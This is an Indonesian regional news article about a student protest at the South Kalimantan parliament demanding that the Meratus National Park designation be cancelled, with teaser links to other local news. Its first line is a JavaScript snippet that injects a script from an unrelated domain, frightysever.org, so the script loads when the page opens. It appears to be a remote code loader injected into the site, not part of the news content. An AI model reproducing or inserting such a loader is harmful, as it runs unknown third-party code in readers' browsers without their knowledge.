(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN — Penolakan penetapan Taman Nasional Meratus menjadi salah satu tuntutan yang diperjuangkan mahasiswa dalam unjuk rasa di gedung DPRD Kalsel, Rabu (26/11/2025).
Dari 6 poin tuntutan mahasiswa, isu penolakan Taman Nasional Meratus berada di urutan kedua yang berbunyi “Menuntut pembatalan terhadap penetapan Taman Nasional Meratus yang mengancam ruang hidup masyarakat adat dan dilakukan tanpa kajian sosial lingkungan yang memadai”.
Ketua DPRD Kalsel, H Supian HK secara terang-terangan menyatakan sikap ikut menolak penetapan Taman Nasional Meratus.
Baca juga: Unjuk Rasa di Rumah Banjar: Tolak Taman Nasional Meratus!
Ketua DPRD Kalsel, H Supian HK. Foto: fahmi
“Saya Ketua DPRD Kalsel mendesak dan menuntut Gubernur Kalsel untuk menarik rekomendasi pengusulan dan penetapan Taman Nasional Meratus yang dibuktikan penandatanganan nota kesepahaman yang dikeluarkan oleh DPRD Kalsel,” jelasnya.
Pernyataan itu pun disambut meriah oleh mahasiswa yang ada di Rumah Banjar -sebutan gedung DPRD Kalsel- saat unjuk rasa berlangsung.
Ketua Dewan Eksekutif Mahasiswa (Dema) Universitas Islam Negeri (UIN) Antasari, Yazid Arifani mengatakan, tuntutan terkait penolakan Taman Nasional Meratus ini sudah disuarakan sejak Agustus lalu, saat pihaknya membersamai masyarakat adat berunjuk rasa di kantor Gubernur Kalsel.
Baca juga: Dua Jembatan di Jalan Lingkar Banjarbaru – Batulicin Ambles, PUPR Kalsel Langsung Lakukan Perbaikan
Tuntutan menurutnya dilatarbelakangi surat rekomendasi Gubernur Kalsel tentang penetapan Taman Nasional Meratus.
“Hal ini harus kita tentang karena banyak yang kita takutkan terkait Taman Nasional Meratus tersebut,” tegas Yazid.
Oleh sebab itulah kawan-kawan mahasiswa meminta Ketua DPRD Kalsel, H Supian HK untuk menyatakan sikap menolak rekomendasi penetapan Taman Nasional Meratus.
“Jadi Ketua DPRD Kalsel menyampaikan ke Gubernur Kalsel agar kiranya menarik daripada surat rekomendasi tersebut karena dampaknya sangat besar,” pungkasnya. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.